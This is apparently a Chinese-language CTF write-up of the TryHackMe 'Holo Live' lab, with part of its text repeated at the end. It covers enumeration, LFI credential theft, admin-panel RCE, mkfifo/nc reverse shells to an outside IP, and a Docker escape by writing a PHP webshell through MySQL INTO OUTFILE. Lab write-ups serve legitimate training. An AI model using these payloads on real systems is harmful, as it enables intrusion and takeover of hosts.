Try Hack Me-Holo Live(Hard)上
字数 1332 2025-08-11 08:36:11

Holo Live 靶场渗透测试教学文档

1. 信息收集阶段

1.1 网络探测

使用Nmap进行存活主机扫描:

sudo nmap -sn 10.200.109.0/24

发现两个活跃主机:

  • 10.200.109.33
  • 10.200.109.250

1.2 端口扫描

对10.200.109.33进行端口扫描:

sudo nmap --min-rate 10000 -p- 10.200.109.33

开放端口:

  • 22/tcp (SSH)
  • 80/tcp (HTTP)
  • 33060/tcp (MySQL X Protocol)

对10.200.109.250进行端口扫描:

sudo nmap --min-rate 10000 -p- 10.200.109.250

开放端口:

  • 22/tcp (SSH)
  • 1337/tcp (waste服务)

1.3 子域名枚举

  1. 首先修改/etc/hosts文件:
sudo echo '10.200.109.33 holo.live' >> /etc/hosts
  1. 使用gobuster进行子域名爆破:
gobuster vhost -u holo.live -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

发现三个子域名:

  • www.holo.live
  • dev.holo.live
  • admin.holo.live
  1. 将这些子域名添加到hosts文件中

2. Web渗透阶段

2.1 dev.holo.live分析

  1. 发现图片加载路径存在LFI漏洞:
http://dev.holo.live/img.php?file=images/korone.jpg

可尝试任意文件读取攻击

  1. 目录爆破:
gobuster dir --url http://dev.holo.live/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

发现/admin路径但返回403

2.2 其他子域名分析

  1. 在www.holo.live和admin.holo.live的robots.txt中发现:
  • xlmrpc (未利用成功)
  • cerds.txt (可疑文件)
  1. 利用LFI读取cerds.txt获取凭据:
admin:!123SecureAdminDashboard321!

2.3 后台RCE漏洞

  1. 使用获取的凭据登录后台

  2. 查看源代码发现命令执行点

  3. 构造RCE payload:

cmd=whoami
  1. 获取反弹shell:
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.50.105.164%206666%20%3E%2Ftmp%2Ff
  1. 升级shell交互性:
python3 -c 'import pty; pty.spawn("/bin/bash")'

3. 权限提升与横向移动

3.1 Docker环境识别

  1. 确认处于Docker容器中

  2. 发现宿主机IP:192.168.100.1

  3. 端口扫描宿主机:

for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done

发现开放端口:

  • 22
  • 80
  • 3306
  • 8080

3.2 MySQL逃逸

  1. 在/var/www/wordpress/wp-config.php中找到数据库凭据

  2. 连接宿主机MySQL:

mysql -h 192.168.100.1 -u admin -p

密码:!123SecureAdminDashboard321!

  1. 通过MySQL写入webshell:
select '<?php system($_GET[sb]);?>' INTO OUTFILE '/var/www/html/shell1.php';
  1. 访问webshell:
curl "http://192.168.100.1:8080/shell1.php?sb=id"
  1. 获取宿主机反弹shell:
curl "http://192.168.100.1:8080/shell1.php?sb=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.50.105.164%205555%20%3E%2Ftmp%2Ff"

4. 关键知识点总结

  1. 子域名枚举:使用gobuster vhost模式爆破子域名前,必须先将主域名添加到hosts文件

  2. LFI漏洞利用:通过img.php的file参数实现任意文件读取

  3. 后台RCE:通过分析源代码发现隐藏的命令执行点

  4. Docker逃逸

    • 识别Docker环境
    • 探测宿主机网络
    • 通过MySQL服务实现逃逸
  5. 权限维持:在连接不稳定的情况下,写入webshell是有效的维持访问方法

  6. 反弹shell技巧:使用mkfifo创建命名管道实现稳定的反弹shell

  7. 信息收集:配置文件(如wp-config.php)中常包含有价值的凭据信息

5. 改进建议

  1. 网络不稳定解决方案:

    • 使用更稳定的VPN连接
    • 考虑使用云服务器作为跳板
    • 使用screen或tmux保持会话
  2. 渗透测试流程优化:

    • 先完整收集信息再深入攻击
    • 对每个发现的服务进行更全面的测试
    • 记录所有尝试过的攻击向量和结果
  3. 权限提升尝试:

    • 在Docker容器内尝试逃逸的其他方法
    • 检查宿主机上的SUID文件、cron jobs等提权途径
Holo Live 靶场渗透测试教学文档 1. 信息收集阶段 1.1 网络探测 使用Nmap进行存活主机扫描: 发现两个活跃主机: 10.200.109.33 10.200.109.250 1.2 端口扫描 对10.200.109.33进行端口扫描: 开放端口: 22/tcp (SSH) 80/tcp (HTTP) 33060/tcp (MySQL X Protocol) 对10.200.109.250进行端口扫描: 开放端口: 22/tcp (SSH) 1337/tcp (waste服务) 1.3 子域名枚举 首先修改/etc/hosts文件: 使用gobuster进行子域名爆破: 发现三个子域名: www.holo.live dev.holo.live admin.holo.live 将这些子域名添加到hosts文件中 2. Web渗透阶段 2.1 dev.holo.live分析 发现图片加载路径存在LFI漏洞: 可尝试任意文件读取攻击 目录爆破: 发现/admin路径但返回403 2.2 其他子域名分析 在www.holo.live和admin.holo.live的robots.txt中发现: xlmrpc (未利用成功) cerds.txt (可疑文件) 利用LFI读取cerds.txt获取凭据: 2.3 后台RCE漏洞 使用获取的凭据登录后台 查看源代码发现命令执行点 构造RCE payload: 获取反弹shell: 升级shell交互性: 3. 权限提升与横向移动 3.1 Docker环境识别 确认处于Docker容器中 发现宿主机IP:192.168.100.1 端口扫描宿主机: 发现开放端口: 22 80 3306 8080 3.2 MySQL逃逸 在/var/www/wordpress/wp-config.php中找到数据库凭据 连接宿主机MySQL: 密码:!123SecureAdminDashboard321 ! 通过MySQL写入webshell: 访问webshell: 获取宿主机反弹shell: 4. 关键知识点总结 子域名枚举 :使用gobuster vhost模式爆破子域名前,必须先将主域名添加到hosts文件 LFI漏洞利用 :通过img.php的file参数实现任意文件读取 后台RCE :通过分析源代码发现隐藏的命令执行点 Docker逃逸 : 识别Docker环境 探测宿主机网络 通过MySQL服务实现逃逸 权限维持 :在连接不稳定的情况下,写入webshell是有效的维持访问方法 反弹shell技巧 :使用mkfifo创建命名管道实现稳定的反弹shell 信息收集 :配置文件(如wp-config.php)中常包含有价值的凭据信息 5. 改进建议 网络不稳定解决方案: 使用更稳定的VPN连接 考虑使用云服务器作为跳板 使用screen或tmux保持会话 渗透测试流程优化: 先完整收集信息再深入攻击 对每个发现的服务进行更全面的测试 记录所有尝试过的攻击向量和结果 权限提升尝试: 在Docker容器内尝试逃逸的其他方法 检查宿主机上的SUID文件、cron jobs等提权途径